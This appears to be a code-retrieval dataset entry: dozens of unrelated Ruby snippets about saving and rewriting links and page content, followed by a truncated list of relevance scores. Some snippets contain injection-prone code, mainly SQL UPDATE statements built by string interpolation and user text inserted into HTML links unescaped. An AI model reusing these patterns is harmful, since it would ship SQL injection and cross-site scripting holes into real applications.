"def convert_links\n\n # fetch leaf content\n c = self.content\n\n # regexps\n # url = /( |^)http:\\/\\/([^\\s]*\\.[^\\s]*)( |$)/\n tag_regex = /( |^)#(\\w+)( |$)/\n user_regex = /( |^)@(\\w+)( |$)/\n \n #TODO: make sure no one is typing javascript into the field **IMPORTANT**\n\n #replace #tags with links to that tag search\n while c =~ tag_regex\n c.gsub! \"##{$2}\", \"<a href='/leaves?tagged=#{$2}'>##{$2}</a>\"\n self.has_tags = true\n end\n\n #replace @usernames with links to that user, if user exists\n while c =~ user_regex\n user = $2\n if User.find(user)\n c.sub! \"@#{$2}\", \"<a href='/users/#{$2}'>@#{$2}</a>\"\n end\n end\n\n #replace urls with links\n #while c =~ url\n #name = $2\n #c.sub! /( |^)http:\\/\\/#{name}( |$)/, \" <a href='http://#{name}' >#{name}</a> \"\n #end\n\n self.content = c\n\n end",
"def store_article_text(entry)\n puts \"storing data\"\n if(entry.link != '#')\n \n # Get html from link\n response = Net::HTTP.get(URI.parse(entry.link))\n if(response.downcase.include?(\"<h1>moved permanently</h1>\"))\n html = Nokogiri::HTML(response, nil, 'UTF-8')\n tag = html.css(\"a\")\n link = tag.attribute('href')\n response = Net::HTTP.get(URI.parse(link))\n end\n \n # Use readability to find text from html\n data = Readability::Document.new(response || \"\")\n if(data.content == nil || data.content.length < 15)\n new_data = entry.description\n else\n new_data = data.content.gsub(/<[^>]+>/,\"\").squeeze(\" \").strip.toutf8 || \"\"\n end\n \n else\n new_data = entry.description\n end\n \n # Save data if new\n if(!entry.data || entry.data != new_data)\n entry.data = new_data\n return true\n end\n return false\nend",
"def save_plagiarism_html(match_link, html)\n File.open(path_to_plagarism_html(match_link), 'w') do |out_file|\n out_file.puts html\n end\n end",
"def save_results\n unless self.options[:disable_save] == true\n self.final_path.inject(nil) do |previous, link|\n unless previous.nil? || previous.element.bacon_link.present?\n previous.element.update_attribute(:bacon_link_id, link.element.id)\n end\n link\n end\n end\n\n self.final_path\n end",
"def fixup_page\r\n html = content\r\n if html.gsub!(/(href|src)=(['\"])..\\/..\\//, '\\1=\\2/')\r\n content = html\r\n save!\r\n end\r\n end",
"def refetch\n resolver = Link.select_resolver(url)\n canonical_url = resolver.fetch_canonical_url(url)\n\n # 現在のURLが取得したcanonical_urlとは異なるのに、レコードにその記録がある場合は、\n # 保存するとURL重複となるためスルーする\n return if url != canonical_url && Link.find_by(url: canonical_url)\n\n page = Nokogiri::HTML.parse(open(canonical_url).read)\n update_attributes(resolver.new(canonical_url, page).fetch)\n save\n end",
"def save\n CONNECTION.execute(\"UPDATE links SET link = '#{self.link}', relative_assignment = '#{self.relative_assignment}' WHERE id = #{self.id};\")\n end",
"def save_as_field(field, save_path = false)\n lambda do |release, links|\n links.map do |link|\n result = {\n link: link,\n field => link.content.delete('/')\n }\n result[:repo_url] = \"#{release[:url]}#{link[:href]}\" if save_path\n result\n end\n end\n end",
"def rewrite(link)\n return link unless link =~ /^https\\:\\/\\/github/\n @downloads.push(link)\n File.basename(link)\n end",
"def save_information(keyword, page)\n\t\t\tkeyword.save_adword_urls(page)\n\t\t\tkeyword.save_nonadword_urls(page)\n \tend",
"def add_link\n @bib.link.each do |l|\n case l.type&.downcase\n when \"doi\" then @item.doi = l.content\n when \"file\" then @item.file2 = l.content\n when \"src\" then @item.url = l.content\n end\n end\n end",
"def driveNameReplace(original, name)\n folder_path = File.dirname(__FILE__) + \"/Cyclo\"\n Dir.glob(folder_path + \"/*\").sort.each do |path|\n f = File.open(path, \"r+\")\n doc = Nokogiri::XML(f)\n doc.search(\".//image\").each do |node|\n #puts node['href']\n newLink = node['href'].split('/').last\n #complete = \"file:///Users/freelance/Google Drive/Specialized Docs/_photosBIKE/#{newLink}\"\n complete = \"file:///Users/freelance/Google Drive/Specialized Docs/dump_output/#{newLink}\"\n puts complete\n #node['href'] = node['href'].gsub(original, name)\n node['href'] = complete\n end\n f.close()\n o = File.new(path, \"w\")\n o.write(doc)\n o.close()\n\n end\nend",
"def save(link_hash)\n setup_file\n \n link_database = File.open('link_db.txt').read\n existing_links = JSON.parse(link_database) \n # link_database.close\n \n existing_links << link_hash\n link_json = JSON.generate(existing_links)\n \n File.open('link_db.txt', 'w+') do |link_database|\n link_database.write(link_json)\n end\nend",
"def saveurl\n url_str = link_params[:url]\n url_str.insert(0, 'http://') if url_str.match('^http').nil?\n \n annotations = get_annotations(url_str)\n \n url = Url.find_by_url(url_str)\n if url.nil?\n url = Url.new({:url => link_params[:url], :icon => annotations[:icon]})\n if !url.save\n render :status => 404\n end\n else\n Url.update(url.id, :icon => annotations[:icon]) if url.icon.nil? && annotations[:icon] != ''\n end\n\n @bookmark = Bookmark.new({:url => url, :title => annotations[:title], :description => annotations[:desc], :user => current_user})\n\n @share_with_group = Group.find(params[:id]) if params[:id]\n\n annotations[:keywords].each do |tag|\n if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n @tag = Tag.new\n @tag.tagname = tag.strip.gsub(' ','-').downcase\n @bookmark.tags << @tag\n else\n @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n end\n end\n\n respond_to do |format|\n format.html { render action: 'bookmark_form' }\n format.js\n end\n end",
"def fix_ckeditor_attachment_paths\n\t if self.content.include?(\"_cke_saved_href\")\n\t \tself.content.gsub!(/href=\\\"javascript:void\\(0\\)\\/\\*\\d+\\*\\/\\\"/, '')\n\t \tself.content.gsub!(/_cke_saved_href/, 'href')\n\t end\n\tend",
"def save_web_content\n begin\n body = Mechanize.new.get(self.discussion).body\n url_body = HtmlContent.create(:discussion_id=>self.id,:content=>body)\n rescue => e\n end if self.discussion_type == \"URL\"\n end",
"def save_adword_urls(page)\n\t\tsave_adword_urls_right(page) \n\t\tsave_adword_urls_top(page)\n\tend",
"def pdef_replace_link(txt)\n # NOTE: it works with only link\n link_url = nil\n str_after = ''\n str_before = ''\n aa = txt.split('link:')\n if aa.size == 2\n aa[1].lstrip!\n bb = aa[1].index(/[\\)\\, ]/)\n link_url = aa[1][0..bb - 1]\n str_after = aa[1][bb..-1]\n str_before = aa[0]\n end\n\n if link_url\n str_link = \"<c:alink uri=\\\"#{link_url}\\\">#{link_url.gsub(\"http://\", \"\")}</c:alink>\"\n str_res = str_before + str_link + str_after\n else\n return txt\n end\n end",
"def save(link_hash)\n setup_file\n \n link_database = File.open('link_db.txt').read\n existing_links = JSON.parse(link_database)\n # link_database.close\n \n existing_links << link_hash\n link_json = JSON.generate(existing_links)\n \n\n\n File.open('link_db.txt', 'w+') do |link_database|\n link_database.write(link_json)\n end\nend",
"def fix_ckeditor_attachment_paths\n\t if self.contents.include?(\"_cke_saved_href\")\n\t \tself.contents.gsub!(/href=\\\"javascript:void\\(0\\)\\/\\*\\d+\\*\\/\\\"/, '')\n\t \tself.contents.gsub!(/_cke_saved_href/, 'href')\n\t end\n\tend",
"def fix_ckeditor_attachment_paths\n\t if self.contents.include?(\"_cke_saved_href\")\n\t \tself.contents.gsub!(/href=\\\"javascript:void\\(0\\)\\/\\*\\d+\\*\\/\\\"/, '')\n\t \tself.contents.gsub!(/_cke_saved_href/, 'href')\n\t end\n\tend",
"def create\n\n @link = Link.new(params[:link])\n @link.resource_id = @resource.id\n \n if [email protected]? \"http://\"\n @link.link = \"http://\" + @link.link\n end\n\n\n @resource.attachment = @link\n @resource.save\n\n @link.save\n\n\n\n respond_to do |format|\n if @link.update_attributes(params[:text]) && @resource.update_attributes(params[:resource])\n format.js\n end\n end \n end",
"def save_locally(dir)\n FileUtils.mkdir_p(dir) unless File.exists? dir\n \n # remove HTML BASE tag if it exists\n @contents.xpath('//base').each { |t| t.remove }\n # remove head tag\n @contents.xpath('//head').each { |t| t.remove }\n # remove link tags\n @contents.xpath('//link').each { |t| t.remove }\n # remove script tags\n @contents.xpath('//script').each { |t| t.remove }\n # remove comments\n @contents.xpath('//comment()').each { |t| t.remove }\n # remove mediawiki meta tag\n @contents.xpath('//meta').each { |t| t.remove if t['name'] == \"generator\" }\n # remove sitesub h3 tag\n @contents.xpath('//h3').each { |t| t.remove if t['id'] == \"siteSub\" }\n\n # get lastmod/viewcount values\n @contents.xpath('//li').each do |t|\n if t['id'] == \"lastmod\"\n @lastmod = t.text.strip\n end\n if t['id'] == \"viewcount\"\n @viewcount = t.text.strip\n end\n end\n\n # remove unneeded divs\n @contents.xpath('//div').each do |t|\n t.remove if t['id'] == \"column-one\"\n t.remove if t['id'] == \"footer\"\n t.remove if t['id'] == \"catlinks\"\n t.remove if t['id'] == \"contentSub\"\n t.remove if t['id'] == \"jump-to-nav\"\n t.remove if t['class'] == \"printfooter\"\n t.remove if t['class'] == \"visualClear\"\n end\n\n if @main_page == true\n save_path = File.join(dir, \"index\")\n title = 'Dublin Core Metadata Initiative Media-Wiki Archive'\n else\n save_path = File.join(dir, File.basename(uri.to_s))\n title = File.basename(uri.to_s).gsub(\"_\", \" \")\n end\n save_path += '.html' if save_path !~ /\\.((html?)|(txt))$/\n File.open(save_path, 'w') { |f| f.write(\"<!DOCTYPE html>\\n<html>\\n<head>\\n<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\">\\n<meta http-equiv=\\\"Content-Language\\\" content=\\\"en-us\\\">\\n<title>#{title}</title>\\n</head>\\n<body>\\n<p><b>This is an archived MediaWiki page.</b><br />#{@lastmod}<br />#{@viewcount}</p>\\n#{@contents.xpath('//div[@id=\"bodyContent\"]').to_html}\\n</body>\\n</html>\") }\n # File.open(save_path, 'w') { |f| f.write(\"---\\nlayout: page\\ntitle: #{title}\\n---\\n\\n#{@contents.xpath('//div[@id=\"bodyContent\"]').to_html}\") }\n end",
"def save_related\n if self.links.present?\n self.links.each do | link |\n link.parent_type = :action_item\n link.parent_key = self.key\n link.save!\n end\n end\n end",
"def create\n @link = Link.new(params[:link])\n doc = Pismo::Document.new(@link.url) \n #grab metadata from doc\n if doc.title.nil?\n @link.name = doc.description\n else\n @link.name = doc.title\n end\n @link.favicon = doc.favicon\n\n #FOR OFFLINE USE\n #@link.name = \"Offline Description\"\n\n\n\n\n paginate_all_links\n respond_to do |format|\n if @link.save\n #if using bookmarklet foward back to link you came from\n if request.referer =~ /autosave/\n format.html { redirect_to @link.url }\n else\n #if using frontpage redirect to show all links \n format.html { redirect_to root_url+\"#show-links\", notice: 'Link was successfully created.' }\n end\n format.html { redirect_to @link.url, notice: 'Link was successfully created.' }\n format.json { render json: @link, status: :created, location: @link }\n else\n format.html { render action: \"new\" }\n format.json { render json: @link.errors, status: :unprocessable_entity }\n end\n end\n end",
"def link(_link, _title, content)\n content.to_s\n end",
"def write_content\n File.open(absolute_path,'w') do |file|\n file << content if content\n end\n # TODO git functionality\n end",
"def rewrite\n rewrited_content = parse_for_urls(content)\n parse_for_ids(rewrited_content)\n end",
"def dump_file_data(io)\n io.write(@link_target)\n end",
"def htmlUpdateLinks(html)\n #puts \"Page BEFORE URL update: \" + html\n #puts \" \"\n \n # Step 1: Update urls and insert marker\n allPages().each do |page|\n # Replace full urls\n html = html.gsub(\n \"http://www.mosync.com/\" + pageOriginalFile(page), \n \"/NEWDOC_UPDATED_URL_TEMPLATE_DOC_PATH/\" + pageTargetFile(page) + \"/index.html\")\n\t# Replace short urls\n html = html.gsub(\n pageOriginalFile(page), \n \"NEWDOC_UPDATED_URL_TEMPLATE_DOC_PATH/\" + pageTargetFile(page) + \"/index.html\")\n end\n \n # Step 2: Strip off absolute urls and markers\n html = html.gsub(\"http://www.mosync.com/NEWDOC_UPDATED_URL_\", \"\")\n html = html.gsub(\"/NEWDOC_UPDATED_URL_\", \"\")\n html = html.gsub(\"NEWDOC_UPDATED_URL_\", \"\")\n \n # Step 3: Clean up weird urls\n html = html.gsub(\"//index.html\", \"/index.html\")\n html = html.gsub(\"//index.html\", \"/index.html\")\n html = html.gsub(\"index.html/\", \"index.html\")\n html = html.gsub(\"TEMPLATE_DOC_PATH//\", \"TEMPLATE_DOC_PATH/\")\n \n #puts \"Page AFTER URL update: \" + html\n #puts \" \"\n \n html\nend",
"def rebuild_and_save_links\n fail NoAliasWithHostPresentError if alias_with_host.blank?\n\n conference_id = alias_with_host[/BVA(\\d+)@/, 1]\n link_service = VirtualHearings::LinkService.new(conference_id)\n\n # confirm that we extracted the conference ID correctly,\n # and that the original link was generated with the link service\n if link_service.alias_with_host != alias_with_host ||\n link_service.host_pin != host_pin_long ||\n link_service.guest_pin != guest_pin_long\n fail LinkMismatchError\n end\n\n update!(host_hearing_link: link_service.host_link, guest_hearing_link: link_service.guest_link)\n end",
"def save_rss_feed content\n File.open(@rss_outfile, \"w\") do |file|\n file.write(content)\n end\n\n File.open(@backup_file, \"w\") do |file|\n file.write(content)\n end\n end",
"def replace_urls_by_content_assets(content)\n return \"\" unless content\n self.mounting_point.content_assets.each do |path, asset|\n content.gsub!(path, asset.local_filepath)\n end\n content\n end",
"def transform_links_in_files files\n files.each do |filename|\n text = File.read filename\n content = transform_links_in_text text\n File.open(filename, \"w\") { |file| file << content }\n end\n end",
"def save(host, uri, content)\n end",
"def storeRec(link,catg) \n\t\tres_links = Nokogiri::HTML(open(link))\n\t\t\n\t\tres_links.css('div.topSection h3 a').each do |res|\n\t\t\tarr=[]\n\t\t\tarr.push res.text \n\t\t\tarr.push res['href']\t\n\t\t @arr_res.push arr\n\t\t\[email protected] 'insert into recipe values (?, ? ,?, ?,?,?)', @cnt, arr[0], arr[1],catg,'',''\n\t\t\t@cnt += 1\n\n\t\tend\n\n\tend",
"def fix_html_link(link)\n return link.gsub(\"documentcloud.org\", \"assets.documentcloud.org\").sub(\"-\", \"/\").gsub(\".html\", \".pdf\").gsub(\"www.\", \"\")\n end",
"def change_hrefs(html)\n DOM.walk(html) do |node|\n for attr_name in %w{href src}\n attr_obj = node.attributes[attr_name]\n\n # Ignore if its blank\n next if !attr_obj\n\n # URL encode any spaces\n orig_href = attr_obj.to_s.gsub(\" \", \"%20\")\n\n begin\n src = URI(orig_href)\n rescue\n log \"#{orig_href} not a valid URI\"\n next\n end\n\n if internal_link?(src.to_s)\n linked_item = nil\n\n if src.path == \"\"\n # If its just an anchor like '#this' just set to the current file\n linked_item = self\n else\n # Match on the unescaped href\n unescaped_path = URI::unescape(src.path)\n linked_item = get_item(unescaped_path)\n end\n\n # Change link\n if linked_item\n new_path = linked_item.normalized_hashed_path(:relative_to => self)\n new_path = URI(new_path)\n\n if src.fragment\n new_path.fragment = src.fragment\n end\n\n log \"Changing #{src.to_s} to #{new_path.to_s}\"\n attr_obj.content = new_path.to_s\n else\n log \"No item in manifest for #{src}\"\n end\n end\n end\n end\n end",
"def save\n CONNECTION.execute(\"UPDATE links SET assignment_id = '#{self.assignment_id}', link = '#{self.link}', type = '#{self.type}', WHERE id = #{self.id};\")\n end",
"def append_link\n url = params[:link]\n @link = Link.new()\n @link.url = url[:url]\n @link.package = Package.find(params[:package_id])\n @link.save()\n # renova a busca para atualizar lista de links.\n @links = Link.find(:all, :conditions => [\"package_id = ?\", params[:package_id]])\n\n flash[:notice] = \"Link was successfully appended.<br/>\" + url[:url]\n redirect_to :action => 'show', :id => params[:package_id]\n end",
"def save_adword_urls_right(page) \n\t\tadword_urls_right(page).each do |url|\n\t\t\tcreate_adword_url(url, \"right\")\n\t\tend\n\tend",
"def update\n mod_key(\"permalink\") if data.has_key?(\"permalink\") && @fm_mods[\"permalink\"]\n merge_data\n @content.sub!(FRONTMATTER_REGEXP, to_frontmatter) || @content\n end",
"def save_current_page(options = {})\r\n default_options = {:replacement => true}\r\n options = default_options.merge(options)\r\n to_dir = options[:dir] || default_dump_dir\r\n\r\n if options[:filename]\r\n file_name = options[:filename]\r\n else\r\n file_name = Time.now.strftime(\"%m%d%H%M%S\") + \".html\"\r\n end\r\n\r\n Dir.mkdir(to_dir) unless File.exists?(to_dir)\r\n file = File.join(to_dir, file_name)\r\n\r\n content = page_source\r\n base_url = @web_browser.context.base_url\r\n current_url = @web_browser.url\r\n current_url =~ /(.*\\/).*$/\r\n current_url_parent = $1\r\n if options[:replacement] && base_url =~ /^http:/\r\n File.new(file, \"w\").puts absolutize_page_nokogiri(content, base_url, current_url_parent)\r\n else\r\n File.new(file, \"w\").puts content\r\n end\r\n\r\n end",
"def fix_image_links( file_name )\r\n\tlines = File.readlines(file_name)\r\n lines.each do |line| \r\n \tline.gsub!(/processed_files/, File.basename( file_name, '.htm') + \"_files\")\r\n\tend\r\n\tFile.open( file_name, 'w') { |f| f.write lines }\r\nend",
"def commit_with_content(page, content, log = nil)\n escaped_page = escape(page)\n wiki = File.read(File.join(@data_path, \"text\", \".wiki\"))\n dir = File.join(@root, wiki, escaped_page).untaint\n revision = last_revision(page) + 1\n page_path = File.join(@data_path, \"text\", escaped_page).untaint\n FileUtils.mkdir_p(dir)\n FileUtils.rm_f(File.join(dir, \".removed\"))\n\n File.open(page_path, \"w+\") do |file|\n file.write(content)\n end\n FileUtils.cp(page_path, File.join(dir, revision.to_s))\n end",
"def href_contents=(value)\n @href_contents = value\n nokogiri_element.value = value\n end",
"def test_that_sanitize_does_not_mangle_ref_tags_and_such\n text = \"Hi <ref id=\\\"\\\">2007</ref> ho <ref id=\\\"12345\\\">Bar 2006</ref> fum<ref id=\\\"\\\"> Foo</ref>.\"\n content = contents(:cons1)\n otu = Otu.new(:name => 'foo')\n ct = ContentType.new(:name => 'bar')\n content.update_attributes!(:text => text, :otu => otu, :content_type => ct)\n content.reload\n assert_equal(text, content.text)\n end",
"def save_images(mkd,path)\n regexp_img_links = /!\\[(.*?)\\]\\((.*?)\\)/\n img_dirname = File.basename(path)\n FileUtils.mkdir_p(path,{:mode => 0755})\n client = HTTPClient.new\n mkd.gsub!(regexp_img_links).with_index do |matched,i|\n #save image\n alttext = $1\n imgurl = $2\n $stdout.puts imgurl\n\n ext = File.extname(imgurl).match(/(.*?)(?:\\?.*)?$/)[1]\n filename = (\"%07\\d\" % i)+ext\n filename_fullpath = File.join(path,filename)\n begin\n data=client.get_content(imgurl)\n rescue\n # if we could not get image,we do not edit link.\n next \"\"\n end\n File.open(filename_fullpath,\"w\"){|file| file.write(data)}\n\n #fix the link\n \"})\"\n end\nend",
"def save(filename, content)\n\t\t# FIXME - if the file exists, this should bail out\n\t\t\n\t\t# write the contents into the file\n\t\tfile = dir + '/' + filename + '.md'\n\t\tf = File.new(file, \"w\")\n\t\tf.write(content)\n\t\tf.close\n\t\t\n\t\t# return the new file\n\t\treturn page(filename)\n\tend",
"def save(filename, content)\n\t\t# FIXME - if the file exists, this should bail out\n\t\t\n\t\t# write the contents into the file\n\t\tfile = dir + '/' + filename + '.md'\n\t\tf = File.new(file, \"w\")\n\t\tf.write(content)\n\t\tf.close\n\t\t\n\t\t# return the new file\n\t\treturn page(filename)\n\tend",
"def make_link(old) File.link(old, path) end",
"def hyperlink(file, domain, link_dictionary)\n\n link_dictionary = JSON.parse(link_dictionary)\n original_file_values = JSON.parse(File.read(file))\n transformed_file_values = {}\n\n headers_to_skip=[\n \"coinName\",\n \"term\",\n \"hyperlinkOn\",\n \"knownTickers\",\n \"preferredTicker\",\n ]\n original_file_values.each do |header, original_content|\n content = original_content\n unless headers_to_skip.include?(header)\n if content =~ /^https?:\\/\\// \n urls = content.split(\", \").map do |url|\n url = url.strip\n \"[#{url}](#{url})\"\n end\n content = urls.join(\", \")\n else \n link_dictionary.each do |term, link_address|\n if file.match(/#{link_address}\\.json$/) # if this term would hyper link to itself\n # put a \"!!\" in front of it so that it doesn't get picked up by any other superstring matches\n content = content.gsub(\n /(^|\\s|\\()(#{term})($|\\.|\\)|\\s|')/i, \n \"\\\\1!!\\\\2\\\\3\"\n ) \n else\n content = content.sub( # only hyperlink the first occurrence of a given within a section\n /(^|\\s|\\()(#{term})($|\\.|\\)|\\s|')/i, # match the term if it's preceded+followed by a space, period, \\n etc.\n \"\\\\1[\\\\2](#{domain}#{link_address})\\\\3\"\n )\n end\n end\n content = content.gsub(/!!/, \"\") # remove all \"!!\" used to remove self linking terms from the link pool\n end\n end\n transformed_file_values[header] = content\n end\n return transformed_file_values\nend",
"def link!\n self.linkbutton = true\n self.save\n self.linkbutton\n end",
"def save_to(path); end",
"def convert(content)\n button_parts = content.match('div class=\"content-edit-page\"')\n source_parts = content.match(/<a href=\"([^\"]+)\">\\(source\\)<\\/a>/)\n if button_parts == nil and source_parts != nil\n url = source_parts[1]\n button_start = '<div class=\"content-edit-page\"><a href=\"'\n button_end = '\"><i class=\"fab fa-github\"></i> <span>Edit Page</span></a></div>'\n button_start.concat(url.gsub('blob', 'edit'), button_end, content)\n else\n content\n end\n end",
"def save_wiki_source( page, filename )\n f = page.form_with( id: 'dw__editform' )\n wikitext = f.field_with( name: 'wikitext' ).value.delete( \"\\r\" )\n file_put_contents( filename, wikitext )\n button = f.button_with( name: 'do[draftdel]' )\n @agent.submit( f, button )\n end",
"def easy\n url = params[:url]\n\n # Well, this would be super slow for mainstream processors, but\n # might be good enough for Mom's & Dad's shop\n link = Link.find_by_url(url)\n\n # Oops, we don't have this Url in tables yet\n if link.nil?\n link = Link.new\n link.url = url\n link.save\n end\n\n render :text => SHORT_URL + \"/\" + Base32::Crockford.encode(link.id)\n end",
"def replace(id, new_content)\n File.write(find(id), new_content)\n end",
"def save_content(title, content)\n\tFile.open(\"pages/#{title}.txt\" , \"w\") do |file|\n\t file.print(content)\n end \t\t\nend",
"def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end",
"def update_link!(link)\n key = link.key\n val = link.val\n @store.remove(key)\n link = @store.append(key,val) #this is where you move the link to end of list\n @map[key] = link\n end",
"def store_path_links_to(path, links)\n return if links.empty?\n redis.sadd path_links_to_key(path), links\n end",
"def reformat_link\n reg = /^https?:\\/\\//\n link = self.link\n if link.present? && !link.match(reg)\n link.insert(0,\"http://\")\n end\n self.link = link\n end",
"def fetch_and_store!\n # Get links from page\n # Download files from links concurrently\n download self.extract!\n end",
"def write_pending_links(links = nil)\n\t\tdebug.print(3, \"Saving links to file\", File.basename(__FILE__), __LINE__)\n\t\t\n\t\t#moverdatawriter.write_marshal_dump( fail_queue)\n\t\tpending_links = links || get_unfinished_links()\n\t\t###binding.pry\n\t\tlinkw.write_array(pending_links)\n\n\tend",
"def store_path_linked_to_from(path, links)\n return if links.empty?\n redis.sadd path_linked_to_from_key(path), links\n end",
"def update_link\n # if save\n # true\n # else\n sr_clone = SitescanCommon::SearchResult.includes(:search_product)\n .references(:search_product).where.not(id: id).find_by_link link\n if sr_clone\n if search_product and search_product.product\n sr_clone.destroy\n true\n elsif search_product and sr_clone.search_product and\n sr_clone.search_product.product or\n not search_product and sr_clone.search_product\n destroy\n false\n else\n sr_clone.destroy\n true\n end\n end\n true\n # end\n end",
"def write_urls_db()\n end",
"def save(path)\n update\n Zip::OutputStream.open(path) do |out|\n zip.each do |entry|\n out.put_next_entry(entry.name)\n\n if @replace[entry.name]\n out.write(@replace[entry.name])\n else\n out.write(zip.read(entry.name))\n end\n end\n end\n zip.close\n end",
"def save\n es = EsClient.new(YAML_CONFIG, nil)\n es.write(type: 'email_link',\n body_hash: self.as_hash)\n end",
"def save\n es = EsClient.new(YAML_CONFIG, nil)\n es.write(type: 'email_link',\n body_hash: self.as_hash)\n end",
"def replace_asset_urls(content)\n return '' if content.blank?\n\n _content = content.dup\n\n content.force_encoding('utf-8').scan(REGEX).map do |match|\n url, type, filename = match[0], match[2], match[5]\n folder = case type\n when 'assets', 'pages' then File.join('samples', \"_#{env}\", type)\n when 'theme' then $4\n when /\\Acontent_entry/ then File.join('samples', \"_#{env}\", 'content_entries')\n end\n\n Thread.new do\n if filepath = write_asset(url, File.join(path, 'public', folder, filename))\n [url, File.join('', folder, File.basename(filepath)).to_s]\n else\n [url, '']\n end\n end\n end.map(&:value).each do |(url, replacement)|\n _content.gsub!(url, replacement)\n end\n\n _content\n end",
"def save\n save_to_file(@output_file, @contents)\n end",
"def link(link, title, content)\n \"#{content} (#{link})\"\n end",
"def cache_urls(doc, latex=false)\n doc.tap do |text|\n text.gsub!(/\\\\(href|url){(.*?)}/) do\n command, url = $1, $2\n key = digest(url)\n literal_cache[key] = url\n command == 'url' ? \"\\\\href{#{key}}{#{url}}\" : \"\\\\href{#{key}}\"\n end\n end\n end",
"def insert_link (fileArray, linkName, utilHash)\n\nend",
"def update_hrefs(css_selector)\n @doc.css(css_selector + ' a').each do |a|\n\n href = Flatfish::Url.absolutify(a['href'], @cd)\n\n # Create tokens for internal links and images/files\n if href =~ /#{@accepted_domain}/\n # NB: the brackets will be URL encoded, so we are flagging them here and gsubbing them before saving\n if @file_whitelist.include?(File.extname(href))\n media = get_media(href)\n href = \"[FLATFISHmedia:#{media.id}FLATFISH]\"\n elsif href !~ /mailto:/\n link = Flatfish::Link.find_or_create_by(url: href)\n href = \"[FLATFISHlink:#{link.id}FLATFISH]\"\n end\n end\n a['href'] = href\n end\n end",
"def save_to(path)\n update\n Zip::OutputStream.open(path) do |out|\n zip.each do |entry|\n next unless entry.file?\n\n out.put_next_entry(entry.name)\n\n if @replace[entry.name]\n out.write(@replace[entry.name])\n else\n out.write(zip.read(entry.name))\n end\n end\n end\n end",
"def convert _obj\n if _obj.figures.length == 1 && _obj.figures.first.link.present?\n _obj.figures.first.link = _obj.figures.first.link.gsub(\"http://\", \"https://\")\n _obj.save!\n end\nend",
"def update!\n open(link)\n end",
"def link(link, title, content)\n link = OodAppkit.files.api(path: @app_path.to_s + '/' + link).to_s if @app_path && relative?(link)\n return \"<a href=\\\"#{link}\\\" rel=\\\"noopener\\\" target=\\\"_blank\\\">#{content}</a>\" unless id_link?(link)\n return \"<a href=\\\"#{link}\\\">#{content}</a>\"\n end",
"def inline_auto_link(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if leading =~ /<a\\s/i || leading =~ /![<>=]?/\n # don't replace URL's that are already linked\n # and URL's prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parethesis and\n # ending by ')' is put into external parenthesis\n if ( url[-1]==?) and ((url.count(\"(\") - url.count(\")\")) < 0 ) )\n url=url[0..-2] # discard closing parenth from url\n post = \")\"+post # add closing parenth to post\n end\n tag = content_tag('a', proto + url, :href => \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\", :class => 'external')\n %(#{leading}#{tag}#{post})\n end\n end\n end",
"def update_link\n tree.new_branch_in available_folder\n FileUtils.rm current_directory\n link_target\n end",
"def parse_link; end",
"def save_content(title, content)\n File.open(\"pages/#{title}.txt\", \"w\") do |file|\n file.print(content)\n end\nend",
"def save_nonadword_urls(page)\n\t\tnonadword_urls(page).each do |url|\n\t\t\tcreate_nonadword_url(url, \"center\")\n\t\tend\n\tend",
"def make_link( old ) File.link( old, expand_tilde ) end",
"def handle_item item\n separator item.link\n file_handle.write(open(item.link).read)\n file_handle.write(\"\\n\\n\")\n end",
"def save_and_open\n return unless File.exist?(session.saved_page_dir)\n\n filename = \"#{session.saved_page_dir}/webrat-#{Time.now.to_i}.html\"\n \n File.open(filename, \"w\") do |f|\n f.write rewrite_css_and_image_references(session.response_body)\n end\n\n open_in_browser(filename)\n end",
"def update; @doc = get(link('self')); nil; end",
"def update; @doc = get(link('self')); nil; end",
"def save(seo)\n @database.save_doc(seo.merge('_id' => seo[:url]))\n seo\n end",
"def replace(entry, src_path); end",
"def export_link(builder, link)\n folders = []\n folders << link.folder.name if link.folder\n folders = folders + link.keywords if link.keywords.present?\n builder.bookmarks << Markio::Bookmark.create({\n title: link.name,\n href: link.url,\n folders: folders.present? ? folders : nil,\n add_date: link.saved_at\n })\n end",
"def update_paths_linked_to_from_path(document)\n document.domain_specific_paths.each do |url|\n link_uri_path = normalize_path Addressable::URI.parse(url.strip).path\n document_uri_path = normalize_path document.uri.path\n next if link_uri_path == document_uri_path\n\n store_path link_uri_path\n store_path_linked_to_from(link_uri_path, [document_uri_path])\n end\n end",
"def update_link(link)\n if i = find_index { |l| l.rel.to_s == link.rel.to_s }\n return self[i] = link\n end\n self << link\n end",
"def unlink!\n parse \n @tags.each do |tag|\n @doc.xpath(\"//a[ends_with(@href,'#{tag}')]\", EndsWithFilter.new).each do |element|\n element.swap(element.children)\n end\n end\n output = @doc.xpath(\"/#{@wrap_tag}/body/p\").inner_html\n output = @doc.xpath(\"/#{@wrap_tag}/body\").inner_html if output == \"\"\n output\n end"
] | [
"0.6567425",
"0.65585786",
"0.6447391",
"0.62871224",
"0.6237766",
"0.6236621",
"0.6172117",
"0.6146743",
"0.6080767",
"0.5930058",
"0.58878714",
"0.5820214",
"0.57773566",
"0.57765585",
"0.57738966",
"0.5754886",
"0.57368857",
"0.57165253",
"0.5712843",
"0.5709101",
"0.57053226",
"0.5687513",
"0.565624",
"0.5652494",
"0.5652494",
"0.56505394",
"0.56418085",
"0.56306064",
"0.56226385",
"0.5616625",
"0.5577995",
"0.55645007",
"0.55483365",
"0.55438626",
"0.5536009",
"0.55335844",
"0.55189556",
"0.551058",
"0.54894537",
"0.5430388",
"0.54217094",
"0.5393898",
"0.5392662",
"0.53832",
"0.5381454",
"0.53756166",
"0.536437",
"0.5363761",
"0.53608185",
"0.5340253",
"0.53089374",
"0.53024614",
"0.52945024",
"0.52945024",
"0.5287864",
"0.5284677",
"0.5283639",
"0.5282173",
"0.52804446",
"0.52738637",
"0.5252883",
"0.5224177",
"0.52174926",
"0.52157193",
"0.5210853",
"0.520816",
"0.52067506",
"0.5193431",
"0.5192524",
"0.5189517",
"0.51769996",
"0.516424",
"0.51590085",
"0.51537526",
"0.51537526",
"0.5135723",
"0.51272196",
"0.5120263",
"0.51141936",
"0.5111311",
"0.51108015",
"0.5099946",
"0.5098488",
